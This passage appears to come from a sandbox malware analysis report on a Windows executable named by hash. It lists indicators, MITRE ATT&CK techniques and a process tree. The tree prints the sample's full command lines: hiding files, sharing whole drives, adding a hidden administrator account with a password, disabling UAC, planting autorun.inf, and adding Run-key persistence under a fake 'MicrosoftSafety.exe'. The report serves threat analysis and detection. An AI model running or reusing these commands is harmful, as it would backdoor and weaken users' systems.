Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1972	cmd.exe
1808	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler\	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Token: SeDebugPrivilege	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 1112	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	19
PID 2116 wrote to memory of 1176	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	20
PID 2116 wrote to memory of 1212	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	21
PID 2116 wrote to memory of 1576	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	23
PID 2116 wrote to memory of 584	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	30
PID 2116 wrote to memory of 584	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	30
PID 2116 wrote to memory of 584	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	30
PID 2116 wrote to memory of 584	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	30
PID 2116 wrote to memory of 584	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	30
PID 2116 wrote to memory of 3040	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	31
PID 2116 wrote to memory of 3040	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	31
PID 2116 wrote to memory of 3040	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	31
PID 2116 wrote to memory of 3040	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	31
PID 2116 wrote to memory of 3016	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	32
PID 2116 wrote to memory of 3016	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	32
PID 2116 wrote to memory of 3016	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	32
PID 2116 wrote to memory of 3016	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	32
PID 2116 wrote to memory of 2980	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	33
PID 2116 wrote to memory of 2980	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	33
PID 2116 wrote to memory of 2980	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	33
PID 2116 wrote to memory of 2980	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	33
PID 2116 wrote to memory of 2836	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	34
PID 2116 wrote to memory of 2836	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	34
PID 2116 wrote to memory of 2836	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	34
PID 2116 wrote to memory of 2836	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	34
PID 2116 wrote to memory of 2812	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	125
PID 2116 wrote to memory of 2812	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	125
PID 2116 wrote to memory of 2812	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	125
PID 2116 wrote to memory of 2812	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	125
PID 2116 wrote to memory of 2824	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	40
PID 2116 wrote to memory of 2824	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	40
PID 2116 wrote to memory of 2824	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	40
PID 2116 wrote to memory of 2824	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	40
PID 2116 wrote to memory of 2880	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	117
PID 2116 wrote to memory of 2880	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	117
PID 2116 wrote to memory of 2880	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	117
PID 2116 wrote to memory of 2880	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	117
PID 2116 wrote to memory of 2928	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	43
PID 2116 wrote to memory of 2928	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	43
PID 2116 wrote to memory of 2928	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	43
PID 2116 wrote to memory of 2928	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	43
PID 2116 wrote to memory of 2564	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	45
PID 2116 wrote to memory of 2564	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	45
PID 2116 wrote to memory of 2564	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	45
PID 2116 wrote to memory of 2564	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	45
PID 2116 wrote to memory of 1084	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	49
PID 2116 wrote to memory of 1084	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	49
PID 2116 wrote to memory of 1084	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	49
PID 2116 wrote to memory of 1084	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	49
PID 2116 wrote to memory of 1132	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	50
PID 2116 wrote to memory of 1132	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	50
PID 2116 wrote to memory of 1132	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	50
PID 2116 wrote to memory of 1132	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	50
PID 2116 wrote to memory of 1192	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	51
PID 2116 wrote to memory of 1192	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	51
PID 2116 wrote to memory of 1192	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	51
PID 2116 wrote to memory of 1192	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	51
PID 584 wrote to memory of 1444	584	cmd.exe	54
PID 584 wrote to memory of 1444	584	cmd.exe	54
PID 584 wrote to memory of 1444	584	cmd.exe	54
PID 584 wrote to memory of 1444	584	cmd.exe	54
PID 2116 wrote to memory of 916	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	53
PID 2116 wrote to memory of 916	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	53
PID 2116 wrote to memory of 916	2116	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe	53

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Views/modifies file attributes 1 TTPs 11 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
624	attrib.exe
912	attrib.exe
560	attrib.exe
2732	attrib.exe
1444	attrib.exe
1396	attrib.exe
1876	attrib.exe
612	attrib.exe
1516	attrib.exe
2672	attrib.exe
2468	attrib.exe

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1112

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1176

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
  "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe"
  2⤵
  - Modifies firewall policy service
  - UAC bypass
  - Windows security bypass
  - Windows security modification
  - Checks whether UAC is enabled
  - Enumerates connected drives
  - Drops autorun.inf file
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:584
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b /max .
    3⤵
    PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c tskill taskmagr
    3⤵
    PID:3016
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd C:\ & del *.lnk
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_C$=C:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2836
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_C$=C:\
      4⤵
      PID:2992
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_C$=C:\
        5⤵
        
        PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File"
    3⤵
    PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File\Microsoft"
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c COPY "C:\Users\Admin\AppData\Local\Temp\c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe" "C:\Program File\Microsoft\MicrosoftSafety.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File"
    3⤵
    PID:2928
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1516
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File\Microsoft"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File\Microsoft"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1084
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM\C0MM
    3⤵
    PID:1132
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a C:\autorun.inf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1192
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a C:\autorun.inf
      4⤵
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:624
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r C:\autorun.inf
    3⤵
    PID:916
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r C:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd F:\ & del *.lnk
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_F$=F:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3020
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_F$=F:\
      4⤵
      System Location Discovery: System Language Discovery
      PID:1764
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_F$=F:\
        5⤵
        
        PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM
    3⤵
    PID:2580
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H F:\C0MM\C0MM
    3⤵
    PID:2664
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H F:\C0MM\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a F:\autorun.inf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:432
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a F:\autorun.inf
      4⤵
      Views/modifies file attributes
      PID:612
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r F:\autorun.inf
    3⤵
    PID:980
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r F:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:2468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users /add SYS_4321 passPass
    3⤵
    PID:556
  - - C:\Windows\SysWOW64\net.exe
      net users /add SYS_4321 passPass
      4⤵
      PID:2752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users /add SYS_4321 passPass
        5⤵
        
        PID:2880
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net users SYS_4321 passPass
    3⤵
    PID:2060
  - - C:\Windows\SysWOW64\net.exe
      net users SYS_4321 passPass
      4⤵
      PID:2376
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 users SYS_4321 passPass
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
    3⤵
    PID:2244
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net localgroup administrators /add SYS_4321
    3⤵
    PID:864
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators /add SYS_4321
      4⤵
      PID:2188
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators /add SYS_4321
        5⤵
        
        PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
    3⤵
    PID:1964
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:632
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1680
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:1600
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2604
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1972
  - - C:\Windows\SysWOW64\reg.exe
      reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
    3⤵
    PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
      4⤵
      PID:576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2028
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1632
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:588
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:580
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:904
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:2268
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
